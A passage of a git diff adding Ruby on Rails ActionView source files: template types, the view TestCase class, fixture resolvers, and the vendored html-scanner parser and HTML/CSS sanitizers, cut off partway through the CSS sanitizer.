+ def render(*args)
+ to_str
+ end
+
+ def formats
+ [@type.to_sym]
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/template/types.rb b/actionpack/lib/action_view/template/types.rb
new file mode 100644
index 0000000..db77cb5
--- /dev/null
+++ b/actionpack/lib/action_view/template/types.rb
@@ -0,0 +1,57 @@
+require 'set'
+require 'active_support/core_ext/class/attribute_accessors'
+
+module ActionView
+ class Template
+ class Types
+ class Type
+ cattr_accessor :types
+ self.types = Set.new
+
+ def self.register(*t)
+ types.merge(t.map { |type| type.to_s })
+ end
+
+ register :html, :text, :js, :css, :xml, :json
+
+ def self.[](type)
+ return type if type.is_a?(self)
+
+ if type.is_a?(Symbol) || types.member?(type.to_s)
+ new(type)
+ end
+ end
+
+ attr_reader :symbol
+
+ def initialize(symbol)
+ @symbol = symbol.to_sym
+ end
+
+ delegate :to_s, :to_sym, :to => :symbol
+ alias to_str to_s
+
+ def ref
+ to_sym || to_s
+ end
+
+ def ==(type)
+ return false if type.blank?
+ symbol.to_sym == type.to_sym
+ end
+ end
+
+ cattr_accessor :type_klass
+
+ def self.delegate_to(klass)
+ self.type_klass = klass
+ end
+
+ delegate_to Type
+
+ def self.[](type)
+ type_klass[type]
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb
new file mode 100644
index 0000000..10b487f
--- /dev/null
+++ b/actionpack/lib/action_view/test_case.rb
@@ -0,0 +1,270 @@
+require 'active_support/core_ext/module/remove_method'
+require 'action_controller'
+require 'action_controller/test_case'
+require 'action_view'
+
+module ActionView
+ # = Action View Test Case
+ class TestCase < ActiveSupport::TestCase
+ class TestController < ActionController::Base
+ include ActionDispatch::TestProcess
+
+ attr_accessor :request, :response, :params
+
+ class << self
+ attr_writer :controller_path
+ end
+
+ def controller_path=(path)
+ self.class.controller_path=(path)
+ end
+
+ def initialize
+ super
+ self.class.controller_path = ""
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+
+ @request.env.delete('PATH_INFO')
+ @params = {}
+ end
+ end
+
+ module Behavior
+ extend ActiveSupport::Concern
+
+ include ActionDispatch::Assertions, ActionDispatch::TestProcess
+ include ActionController::TemplateAssertions
+ include ActionView::Context
+
+ include ActionDispatch::Routing::PolymorphicRoutes
+
+ include AbstractController::Helpers
+ include ActionView::Helpers
+ include ActionView::RecordIdentifier
+ include ActionView::RoutingUrlFor
+
+ include ActiveSupport::Testing::ConstantLookup
+
+ delegate :lookup_context, :to => :controller
+ attr_accessor :controller, :output_buffer, :rendered
+
+ module ClassMethods
+ def tests(helper_class)
+ case helper_class
+ when String, Symbol
+ self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize
+ when Module
+ self.helper_class = helper_class
+ end
+ end
+
+ def determine_default_helper_class(name)
+ determine_constant_from_test_name(name) do |constant|
+ Module === constant && !(Class === constant)
+ end
+ end
+
+ def helper_method(*methods)
+ # Almost a duplicate from ActionController::Helpers
+ methods.flatten.each do |method|
+ _helpers.module_eval <<-end_eval
+ def #{method}(*args, &block) # def current_user(*args, &block)
+ _test_case.send(%(#{method}), *args, &block) # _test_case.send(%(current_user), *args, &block)
+ end # end
+ end_eval
+ end
+ end
+
+ attr_writer :helper_class
+
+ def helper_class
+ @helper_class ||= determine_default_helper_class(name)
+ end
+
+ def new(*)
+ include_helper_modules!
+ super
+ end
+
+ private
+
+ def include_helper_modules!
+ helper(helper_class) if helper_class
+ include _helpers
+ end
+
+ end
+
+ def setup_with_controller
+ @controller = ActionView::TestCase::TestController.new
+ @request = @controller.request
+ @output_buffer = ActiveSupport::SafeBuffer.new
+ @rendered = ''
+
+ make_test_case_available_to_view!
+ say_no_to_protect_against_forgery!
+ end
+
+ def config
+ @controller.config if @controller.respond_to?(:config)
+ end
+
+ def render(options = {}, local_assigns = {}, &block)
+ view.assign(view_assigns)
+ @rendered << output = view.render(options, local_assigns, &block)
+ output
+ end
+
+ def rendered_views
+ @_rendered_views ||= RenderedViewsCollection.new
+ end
+
+ class RenderedViewsCollection
+ def initialize
+ @rendered_views ||= Hash.new { |hash, key| hash[key] = [] }
+ end
+
+ def add(view, locals)
+ @rendered_views[view] ||= []
+ @rendered_views[view] << locals
+ end
+
+ def locals_for(view)
+ @rendered_views[view]
+ end
+
+ def rendered_views
+ @rendered_views.keys
+ end
+
+ def view_rendered?(view, expected_locals)
+ locals_for(view).any? do |actual_locals|
+ expected_locals.all? {|key, value| value == actual_locals[key] }
+ end
+ end
+ end
+
+ included do
+ setup :setup_with_controller
+ end
+
+ private
+
+ # Support the selector assertions
+ #
+ # Need to experiment if this priority is the best one: rendered => output_buffer
+ def response_from_page
+ HTML::Document.new(@rendered.blank? ? @output_buffer : @rendered).root
+ end
+
+ def say_no_to_protect_against_forgery!
+ _helpers.module_eval do
+ remove_possible_method :protect_against_forgery?
+ def protect_against_forgery?
+ false
+ end
+ end
+ end
+
+ def make_test_case_available_to_view!
+ test_case_instance = self
+ _helpers.module_eval do
+ unless private_method_defined?(:_test_case)
+ define_method(:_test_case) { test_case_instance }
+ private :_test_case
+ end
+ end
+ end
+
+ module Locals
+ attr_accessor :rendered_views
+
+ def render(options = {}, local_assigns = {})
+ case options
+ when Hash
+ if block_given?
+ rendered_views.add options[:layout], options[:locals]
+ elsif options.key?(:partial)
+ rendered_views.add options[:partial], options[:locals]
+ end
+ else
+ rendered_views.add options, local_assigns
+ end
+
+ super
+ end
+ end
+
+ # The instance of ActionView::Base that is used by +render+.
+ def view
+ @view ||= begin
+ view = @controller.view_context
+ view.singleton_class.send :include, _helpers
+ view.extend(Locals)
+ view.rendered_views = self.rendered_views
+ view.output_buffer = self.output_buffer
+ view
+ end
+ end
+
+ alias_method :_view, :view
+
+ INTERNAL_IVARS = [
+ :@__name__,
+ :@__io__,
+ :@_assertion_wrapped,
+ :@_assertions,
+ :@_result,
+ :@_routes,
+ :@controller,
+ :@_layouts,
+ :@_files,
+ :@_rendered_views,
+ :@method_name,
+ :@output_buffer,
+ :@_partials,
+ :@passed,
+ :@rendered,
+ :@request,
+ :@routes,
+ :@tagged_logger,
+ :@_templates,
+ :@options,
+ :@test_passed,
+ :@view,
+ :@view_context_class
+ ]
+
+ def _user_defined_ivars
+ instance_variables - INTERNAL_IVARS
+ end
+
+ # Returns a Hash of instance variables and their values, as defined by
+ # the user in the test case, which are then assigned to the view being
+ # rendered. This is generally intended for internal use and extension
+ # frameworks.
+ def view_assigns
+ Hash[_user_defined_ivars.map do |ivar|
+ [ivar[1..-1].to_sym, instance_variable_get(ivar)]
+ end]
+ end
+
+ def _routes
+ @controller._routes if @controller.respond_to?(:_routes)
+ end
+
+ def method_missing(selector, *args)
+ if @controller.respond_to?(:_routes) &&
+ ( @controller._routes.named_routes.helpers.include?(selector) ||
+ @controller._routes.mounted_helpers.method_defined?(selector) )
+ @controller.__send__(selector, *args)
+ else
+ super
+ end
+ end
+ end
+
+ include Behavior
+ end
+end
diff --git a/actionpack/lib/action_view/testing/resolvers.rb b/actionpack/lib/action_view/testing/resolvers.rb
new file mode 100644
index 0000000..7afa2fa
--- /dev/null
+++ b/actionpack/lib/action_view/testing/resolvers.rb
@@ -0,0 +1,50 @@
+require 'action_view/template/resolver'
+
+module ActionView #:nodoc:
+ # Use FixtureResolver in your tests to simulate the presence of files on the
+ # file system. This is used internally by Rails' own test suite, and is
+ # useful for testing extensions that have no way of knowing what the file
+ # system will look like at runtime.
+ class FixtureResolver < PathResolver
+ attr_reader :hash
+
+ def initialize(hash = {}, pattern=nil)
+ super(pattern)
+ @hash = hash
+ end
+
+ def to_s
+ @hash.keys.join(', ')
+ end
+
+ private
+
+ def query(path, exts, formats)
+ query = ""
+ EXTENSIONS.each do |ext|
+ query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
+ end
+ query = /^(#{Regexp.escape(path)})#{query}$/
+
+ templates = []
+ @hash.each do |_path, array|
+ source, updated_at = array
+ next unless _path =~ query
+ handler, format = extract_handler_and_format(_path, formats)
+ templates << Template.new(source, _path, handler,
+ :virtual_path => path.virtual, :format => format, :updated_at => updated_at)
+ end
+
+ templates.sort_by {|t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
+ end
+ end
+
+ class NullResolver < PathResolver
+ def query(path, exts, formats)
+ handler, format = extract_handler_and_format(path, formats)
+ [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format)]
+ end
+ end
+
+end
+
diff --git a/actionpack/lib/action_view/vendor/html-scanner.rb b/actionpack/lib/action_view/vendor/html-scanner.rb
new file mode 100644
index 0000000..775b827
--- /dev/null
+++ b/actionpack/lib/action_view/vendor/html-scanner.rb
@@ -0,0 +1,20 @@
+$LOAD_PATH.unshift "#{File.dirname(__FILE__)}/html-scanner"
+
+module HTML
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :CDATA, 'html/node'
+ autoload :Document, 'html/document'
+ autoload :FullSanitizer, 'html/sanitizer'
+ autoload :LinkSanitizer, 'html/sanitizer'
+ autoload :Node, 'html/node'
+ autoload :Sanitizer, 'html/sanitizer'
+ autoload :Selector, 'html/selector'
+ autoload :Tag, 'html/node'
+ autoload :Text, 'html/node'
+ autoload :Tokenizer, 'html/tokenizer'
+ autoload :Version, 'html/version'
+ autoload :WhiteListSanitizer, 'html/sanitizer'
+ end
+end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/document.rb b/actionpack/lib/action_view/vendor/html-scanner/html/document.rb
new file mode 100644
index 0000000..3868203
--- /dev/null
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/document.rb
@@ -0,0 +1,68 @@
+require 'html/tokenizer'
+require 'html/node'
+require 'html/selector'
+require 'html/sanitizer'
+
+module HTML #:nodoc:
+ # A top-level HTML document. You give it a body of text, and it will parse that
+ # text into a tree of nodes.
+ class Document #:nodoc:
+
+ # The root of the parsed document.
+ attr_reader :root
+
+ # Create a new Document from the given text.
+ def initialize(text, strict=false, xml=false)
+ tokenizer = Tokenizer.new(text)
+ @root = Node.new(nil)
+ node_stack = [ @root ]
+ while token = tokenizer.next
+ node = Node.parse(node_stack.last, tokenizer.line, tokenizer.position, token, strict)
+
+ node_stack.last.children << node unless node.tag? && node.closing == :close
+ if node.tag?
+ if node_stack.length > 1 && node.closing == :close
+ if node_stack.last.name == node.name
+ if node_stack.last.children.empty?
+ node_stack.last.children << Text.new(node_stack.last, node.line, node.position, "")
+ end
+ node_stack.pop
+ else
+ open_start = node_stack.last.position - 20
+ open_start = 0 if open_start < 0
+ close_start = node.position - 20
+ close_start = 0 if close_start < 0
+ msg = <<EOF.strip
+ignoring attempt to close #{node_stack.last.name} with #{node.name}
+ opened at byte #{node_stack.last.position}, line #{node_stack.last.line}
+ closed at byte #{node.position}, line #{node.line}
+ attributes at open: #{node_stack.last.attributes.inspect}
+ text around open: #{text[open_start,40].inspect}
+ text around close: #{text[close_start,40].inspect}
+EOF
+ strict ? raise(msg) : warn(msg)
+ end
+ elsif !node.childless?(xml) && node.closing != :close
+ node_stack.push node
+ end
+ end
+ end
+ end
+
+ # Search the tree for (and return) the first node that matches the given
+ # conditions. The conditions are interpreted differently for different node
+ # types, see HTML::Text#find and HTML::Tag#find.
+ def find(conditions)
+ @root.find(conditions)
+ end
+
+ # Search the tree for (and return) all nodes that match the given
+ # conditions. The conditions are interpreted differently for different node
+ # types, see HTML::Text#find and HTML::Tag#find.
+ def find_all(conditions)
+ @root.find_all(conditions)
+ end
+
+ end
+
+end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/node.rb b/actionpack/lib/action_view/vendor/html-scanner/html/node.rb
new file mode 100644
index 0000000..7e7cd4f
--- /dev/null
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/node.rb
@@ -0,0 +1,532 @@
+require 'strscan'
+
+module HTML #:nodoc:
+
+ class Conditions < Hash #:nodoc:
+ def initialize(hash)
+ super()
+ hash = { :content => hash } unless Hash === hash
+ hash = keys_to_symbols(hash)
+ hash.each do |k,v|
+ case k
+ when :tag, :content then
+ # keys are valid, and require no further processing
+ when :attributes then
+ hash[k] = keys_to_strings(v)
+ when :parent, :child, :ancestor, :descendant, :sibling, :before,
+ :after
+ hash[k] = Conditions.new(v)
+ when :children
+ hash[k] = v = keys_to_symbols(v)
+ v.each do |key,value|
+ case key
+ when :count, :greater_than, :less_than
+ # keys are valid, and require no further processing
+ when :only
+ v[key] = Conditions.new(value)
+ else
+ raise "illegal key #{key.inspect} => #{value.inspect}"
+ end
+ end
+ else
+ raise "illegal key #{k.inspect} => #{v.inspect}"
+ end
+ end
+ update hash
+ end
+
+ private
+
+ def keys_to_strings(hash)
+ Hash[hash.keys.map {|k| [k.to_s, hash[k]]}]
+ end
+
+ def keys_to_symbols(hash)
+ Hash[hash.keys.map do |k|
+ raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
+ [k.to_sym, hash[k]]
+ end]
+ end
+ end
+
+ # The base class of all nodes, textual and otherwise, in an HTML document.
+ class Node #:nodoc:
+ # The array of children of this node. Not all nodes have children.
+ attr_reader :children
+
+ # The parent node of this node. All nodes have a parent, except for the
+ # root node.
+ attr_reader :parent
+
+ # The line number of the input where this node was begun
+ attr_reader :line
+
+ # The byte position in the input where this node was begun
+ attr_reader :position
+
+ # Create a new node as a child of the given parent.
+ def initialize(parent, line=0, pos=0)
+ @parent = parent
+ @children = []
+ @line, @position = line, pos
+ end
+
+ # Return a textual representation of the node.
+ def to_s
+ @children.join()
+ end
+
+ # Return false (subclasses must override this to provide specific matching
+ # behavior.) +conditions+ may be of any type.
+ def match(conditions)
+ false
+ end
+
+ # Search the children of this node for the first node for which #find
+ # returns non +nil+. Returns the result of the #find call that succeeded.
+ def find(conditions)
+ conditions = validate_conditions(conditions)
+ @children.each do |child|
+ node = child.find(conditions)
+ return node if node
+ end
+ nil
+ end
+
+ # Search for all nodes that match the given conditions, and return them
+ # as an array.
+ def find_all(conditions)
+ conditions = validate_conditions(conditions)
+
+ matches = []
+ matches << self if match(conditions)
+ @children.each do |child|
+ matches.concat child.find_all(conditions)
+ end
+ matches
+ end
+
+ # Returns +false+. Subclasses may override this if they define a kind of
+ # tag.
+ def tag?
+ false
+ end
+
+ def validate_conditions(conditions)
+ Conditions === conditions ? conditions : Conditions.new(conditions)
+ end
+
+ def ==(node)
+ return false unless self.class == node.class && children.size == node.children.size
+
+ equivalent = true
+
+ children.size.times do |i|
+ equivalent &&= children[i] == node.children[i]
+ end
+
+ equivalent
+ end
+
+ class <<self
+ def parse(parent, line, pos, content, strict=true)
+ if content !~ /^<\S/
+ Text.new(parent, line, pos, content)
+ else
+ scanner = StringScanner.new(content)
+
+ unless scanner.skip(/</)
+ if strict
+ raise "expected <"
+ else
+ return Text.new(parent, line, pos, content)
+ end
+ end
+
+ if scanner.skip(/!\[CDATA\[/)
+ unless scanner.skip_until(/\]\]>/)
+ if strict
+ raise "expected ]]> (got #{scanner.rest.inspect} for #{content})"
+ else
+ scanner.skip_until(/\Z/)
+ end
+ end
+
+ return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
+ end
+
+ closing = ( scanner.scan(/\//) ? :close : nil )
+ return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/)
+ name.downcase!
+
+ unless closing
+ scanner.skip(/\s*/)
+ attributes = {}
+ while attr = scanner.scan(/[-\w:]+/)
+ value = true
+ if scanner.scan(/\s*=\s*/)
+ if delim = scanner.scan(/['"]/)
+ value = ""
+ while text = scanner.scan(/[^#{delim}\\]+|./)
+ case text
+ when "\\" then
+ value << text
+ break if scanner.eos?
+ value << scanner.getch
+ when delim
+ break
+ else value << text
+ end
+ end
+ else
+ value = scanner.scan(/[^\s>\/]+/)
+ end
+ end
+ attributes[attr.downcase] = value
+ scanner.skip(/\s*/)
+ end
+
+ closing = ( scanner.scan(/\//) ? :self : nil )
+ end
+
+ unless scanner.scan(/\s*>/)
+ if strict
+ raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})"
+ else
+ # throw away all text until we find what we're looking for
+ scanner.skip_until(/>/) or scanner.terminate
+ end
+ end
+
+ Tag.new(parent, line, pos, name, attributes, closing)
+ end
+ end
+ end
+ end
+
+ # A node that represents text, rather than markup.
+ class Text < Node #:nodoc:
+
+ attr_reader :content
+
+ # Creates a new text node as a child of the given parent, with the given
+ # content.
+ def initialize(parent, line, pos, content)
+ super(parent, line, pos)
+ @content = content
+ end
+
+ # Returns the content of this node.
+ def to_s
+ @content
+ end
+
+ # Returns +self+ if this node meets the given conditions. Text nodes support
+ # conditions of the following kinds:
+ #
+ # * if +conditions+ is a string, it must be a substring of the node's
+ # content
+ # * if +conditions+ is a regular expression, it must match the node's
+ # content
+ # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
+ # is either a string or a regexp, and which is interpreted as described
+ # above.
+ def find(conditions)
+ match(conditions) && self
+ end
+
+ # Returns non-+nil+ if this node meets the given conditions, or +nil+
+ # otherwise. See the discussion of #find for the valid conditions.
+ def match(conditions)
+ case conditions
+ when String
+ @content == conditions
+ when Regexp
+ @content =~ conditions
+ when Hash
+ conditions = validate_conditions(conditions)
+
+ # Text nodes only have :content, :parent, :ancestor
+ unless (conditions.keys - [:content, :parent, :ancestor]).empty?
+ return false
+ end
+
+ match(conditions[:content])
+ else
+ nil
+ end
+ end
+
+ def ==(node)
+ return false unless super
+ content == node.content
+ end
+ end
+
+ # A CDATA node is simply a text node with a specialized way of displaying
+ # itself.
+ class CDATA < Text #:nodoc:
+ def to_s
+ "<![CDATA[#{super}]]>"
+ end
+ end
+
+ # A Tag is any node that represents markup. It may be an opening tag, a
+ # closing tag, or a self-closing tag. It has a name, and may have a hash of
+ # attributes.
+ class Tag < Node #:nodoc:
+
+ # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
+ attr_reader :closing
+
+ # Either +nil+, or a hash of attributes for this node.
+ attr_reader :attributes
+
+ # The name of this tag.
+ attr_reader :name
+
+ # Create a new node as a child of the given parent, using the given content
+ # to describe the node. It will be parsed and the node name, attributes and
+ # closing status extracted.
+ def initialize(parent, line, pos, name, attributes, closing)
+ super(parent, line, pos)
+ @name = name
+ @attributes = attributes
+ @closing = closing
+ end
+
+ # A convenience for obtaining an attribute of the node. Returns +nil+ if
+ # the node has no attributes.
+ def [](attr)
+ @attributes ? @attributes[attr] : nil
+ end
+
+ # Returns non-+nil+ if this tag can contain child nodes.
+ def childless?(xml = false)
+ return false if xml && @closing.nil?
+ !@closing.nil? ||
+ @name =~ /^(img|br|hr|link|meta|area|base|basefont|
+ col|frame|input|isindex|param)$/ox
+ end
+
+ # Returns a textual representation of the node
+ def to_s
+ if @closing == :close
+ "</#{@name}>"
+ else
+ s = "<#{@name}"
+ @attributes.each do |k,v|
+ s << " #{k}"
+ s << "=\"#{v}\"" if String === v
+ end
+ s << " /" if @closing == :self
+ s << ">"
+ @children.each { |child| s << child.to_s }
+ s << "</#{@name}>" if @closing != :self && !@children.empty?
+ s
+ end
+ end
+
+ # If either the node or any of its children meet the given conditions, the
+ # matching node is returned. Otherwise, +nil+ is returned. (See the
+ # description of the valid conditions in the +match+ method.)
+ def find(conditions)
+ match(conditions) && self || super
+ end
+
+ # Returns +true+, indicating that this node represents an HTML tag.
+ def tag?
+ true
+ end
+
+ # Returns +true+ if the node meets any of the given conditions. The
+ # +conditions+ parameter must be a hash of any of the following keys
+ # (all are optional):
+ #
+ # * <tt>:tag</tt>: the node name must match the corresponding value
+ # * <tt>:attributes</tt>: a hash. The node's values must match the
+ # corresponding values in the hash.
+ # * <tt>:parent</tt>: a hash. The node's parent must match the
+ # corresponding hash.
+ # * <tt>:child</tt>: a hash. At least one of the node's immediate children
+ # must meet the criteria described by the hash.
+ # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
+ # meet the criteria described by the hash.
+ # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
+ # must meet the criteria described by the hash.
+ # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
+ # meet the criteria described by the hash.
+ # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
+ # the criteria described by the hash, and at least one sibling must match.
+ # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
+ # the criteria described by the hash, and at least one sibling must match.
+ # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
+ # keys:
+ # ** <tt>:count</tt>: either a number or a range which must equal (or
+ # include) the number of children that match.
+ # ** <tt>:less_than</tt>: the number of matching children must be less than
+ # this number.
+ # ** <tt>:greater_than</tt>: the number of matching children must be
+ # greater than this number.
+ # ** <tt>:only</tt>: another hash consisting of the keys to use
+ # to match on the children, and only matching children will be
+ # counted.
+ #
+ # Conditions are matched using the following algorithm:
+ #
+ # * if the condition is a string, it must be a substring of the value.
+ # * if the condition is a regexp, it must match the value.
+ # * if the condition is a number, the value must match number.to_s.
+ # * if the condition is +true+, the value must not be +nil+.
+ # * if the condition is +false+ or +nil+, the value must be +nil+.
+ #
+ # Usage:
+ #
+ # # test if the node is a "span" tag
+ # node.match tag: "span"
+ #
+ # # test if the node's parent is a "div"
+ # node.match parent: { tag: "div" }
+ #
+ # # test if any of the node's ancestors are "table" tags
+ # node.match ancestor: { tag: "table" }
+ #
+ # # test if any of the node's immediate children are "em" tags
+ # node.match child: { tag: "em" }
+ #
+ # # test if any of the node's descendants are "strong" tags
+ # node.match descendant: { tag: "strong" }
+ #
+ # # test if the node has between 2 and 4 span tags as immediate children
+ # node.match children: { count: 2..4, only: { tag: "span" } }
+ #
+ # # get funky: test to see if the node is a "div", has a "ul" ancestor
+ # # and an "li" parent (with "class" = "enum"), and whether or not it has
+ # # a "span" descendant that contains # text matching /hello world/:
+ # node.match tag: "div",
+ # ancestor: { tag: "ul" },
+ # parent: { tag: "li",
+ # attributes: { class: "enum" } },
+ # descendant: { tag: "span",
+ # child: /hello world/ }
+ def match(conditions)
+ conditions = validate_conditions(conditions)
+ # check content of child nodes
+ if conditions[:content]
+ if children.empty?
+ return false unless match_condition("", conditions[:content])
+ else
+ return false unless children.find { |child| child.match(conditions[:content]) }
+ end
+ end
+
+ # test the name
+ return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
+
+ # test attributes
+ (conditions[:attributes] || {}).each do |key, value|
+ return false unless match_condition(self[key], value)
+ end
+
+ # test parent
+ return false unless parent.match(conditions[:parent]) if conditions[:parent]
+
+ # test children
+ return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
+
+ # test ancestors
+ if conditions[:ancestor]
+ return false unless catch :found do
+ p = self
+ throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
+ end
+ end
+
+ # test descendants
+ if conditions[:descendant]
+ return false unless children.find do |child|
+ # test the child
+ child.match(conditions[:descendant]) ||
+ # test the child's descendants
+ child.match(:descendant => conditions[:descendant])
+ end
+ end
+
+ # count children
+ if opts = conditions[:children]
+ matches = children.select do |c|
+ (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
+ end
+
+ matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
+ opts.each do |key, value|
+ next if key == :only
+ case key
+ when :count
+ if Integer === value
+ return false if matches.length != value
+ else
+ return false unless value.include?(matches.length)
+ end
+ when :less_than
+ return false unless matches.length < value
+ when :greater_than
+ return false unless matches.length > value
+ else raise "unknown count condition #{key}"
+ end
+ end
+ end
+
+ # test siblings
+ if conditions[:sibling] || conditions[:before] || conditions[:after]
+ siblings = parent ? parent.children : []
+ self_index = siblings.index(self)
+
+ if conditions[:sibling]
+ return false unless siblings.detect do |s|
+ s != self && s.match(conditions[:sibling])
+ end
+ end
+
+ if conditions[:before]
+ return false unless siblings[self_index+1..-1].detect do |s|
+ s != self && s.match(conditions[:before])
+ end
+ end
+
+ if conditions[:after]
+ return false unless siblings[0,self_index].detect do |s|
+ s != self && s.match(conditions[:after])
+ end
+ end
+ end
+
+ true
+ end
+
+ def ==(node)
+ return false unless super
+ return false unless closing == node.closing && self.name == node.name
+ attributes == node.attributes
+ end
+
+ private
+ # Match the given value to the given condition.
+ def match_condition(value, condition)
+ case condition
+ when String
+ value && value == condition
+ when Regexp
+ value && value.match(condition)
+ when Numeric
+ value == condition.to_s
+ when true
+ !value.nil?
+ when false, nil
+ value.nil?
+ else
+ false
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb b/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb
new file mode 100644
index 0000000..30b6b8b
--- /dev/null
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb
@@ -0,0 +1,188 @@
+require 'set'
+require 'cgi'
+require 'active_support/core_ext/class/attribute_accessors'
+
+module HTML
+ class Sanitizer
+ def sanitize(text, options = {})
+ validate_options(options)
+ return text unless sanitizeable?(text)
+ tokenize(text, options).join
+ end
+
+ def sanitizeable?(text)
+ !(text.nil? || text.empty? || !text.index("<"))
+ end
+
+ protected
+ def tokenize(text, options)
+ tokenizer = HTML::Tokenizer.new(text)
+ result = []
+ while token = tokenizer.next
+ node = Node.parse(nil, 0, 0, token, false)
+ process_node node, result, options
+ end
+ result
+ end
+
+ def process_node(node, result, options)
+ result << node.to_s
+ end
+
+ def validate_options(options)
+ if options[:tags] && !options[:tags].is_a?(Enumerable)
+ raise ArgumentError, "You should pass :tags as an Enumerable"
+ end
+
+ if options[:attributes] && !options[:attributes].is_a?(Enumerable)
+ raise ArgumentError, "You should pass :attributes as an Enumerable"
+ end
+ end
+ end
+
+ class FullSanitizer < Sanitizer
+ def sanitize(text, options = {})
+ result = super
+ # strip any comments, and if they have a newline at the end (ie. line with
+ # only a comment) strip that too
+ result = result.gsub(/<!--(.*?)-->[\n]?/m, "") if (result && result =~ /<!--(.*?)-->[\n]?/m)
+ # Recurse - handle all dirty nested tags
+ result == text ? result : sanitize(result, options)
+ end
+
+ def process_node(node, result, options)
+ result << node.to_s if node.class == HTML::Text
+ end
+ end
+
+ class LinkSanitizer < FullSanitizer
+ cattr_accessor :included_tags, :instance_writer => false
+ self.included_tags = Set.new(%w(a href))
+
+ def sanitizeable?(text)
+ !(text.nil? || text.empty? || !((text.index("<a") || text.index("<href")) && text.index(">")))
+ end
+
+ protected
+ def process_node(node, result, options)
+ result << node.to_s unless node.is_a?(HTML::Tag) && included_tags.include?(node.name)
+ end
+ end
+
+ class WhiteListSanitizer < Sanitizer
+ [:protocol_separator, :uri_attributes, :allowed_attributes, :allowed_tags, :allowed_protocols, :bad_tags,
+ :allowed_css_properties, :allowed_css_keywords, :shorthand_css_properties].each do |attr|
+ class_attribute attr, :instance_writer => false
+ end
+
+ # A regular expression of the valid characters used to separate protocols like
+ # the ':' in 'http://foo.com'
+ self.protocol_separator = /:|(�*58)|(p)|(�*3a)|(%|%)3A/i
+
+ # Specifies a Set of HTML attributes that can have URIs.
+ self.uri_attributes = Set.new(%w(href src cite action longdesc xlink:href lowsrc))
+
+ # Specifies a Set of 'bad' tags that the #sanitize helper will remove completely, as opposed
+ # to just escaping harmless tags like <font>
+ self.bad_tags = Set.new(%w(script))
+
+ # Specifies the default Set of tags that the #sanitize helper will allow unscathed.
+ self.allowed_tags = Set.new(%w(strong em b i p code pre tt samp kbd var sub
+ sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dl dt dd abbr
+ acronym a img blockquote del ins))
+
+ # Specifies the default Set of html attributes that the #sanitize helper will leave
+ # in the allowed tag.
+ self.allowed_attributes = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))
+
+ # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
+ self.allowed_protocols = Set.new(%w(ed2k ftp http https irc mailto news gopher nntp telnet webcal xmpp callto
+ feed svn urn aim rsync tag ssh sftp rtsp afs))
+
+ # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
+ self.allowed_css_properties = Set.new(%w(azimuth background-color border-bottom-color border-collapse
+ border-color border-left-color border-right-color border-top-color clear color cursor direction display
+ elevation float font font-family font-size font-style font-variant font-weight height letter-spacing line-height
+ overflow pause pause-after pause-before pitch pitch-range richness speak speak-header speak-numeral speak-punctuation
+ speech-rate stress text-align text-decoration text-indent unicode-bidi vertical-align voice-family volume white-space
+ width))
+
+ # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
+ self.allowed_css_keywords = Set.new(%w(auto aqua black block blue bold both bottom brown center
+ collapse dashed dotted fuchsia gray green !important italic left lime maroon medium none navy normal
+ nowrap olive pointer purple red right solid silver teal top transparent underline white yellow))
+
+ # Specifies the default Set of allowed shorthand css properties for the #sanitize and #sanitize_css helpers.
+ self.shorthand_css_properties = Set.new(%w(background border margin padding))
+
+ # Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute
+ def sanitize_css(style)
+ # disallow urls
+ style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
+
+ # gauntlet
+ if style !~ /\A([:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*\z/ ||
+ style !~ /\A(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*\z/
+ return ''
+ end
+
+ clean = []
+ style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop,val|
+ if allowed_css_properties.include?(prop.downcase)
+ clean << prop + ': ' + val + ';'
+ elsif shorthand_css_properties.include?(prop.split('-')[0].downcase)
+ unless val.split().any? do |keyword|
+ !allowed_css_keywords.include?(keyword) &&
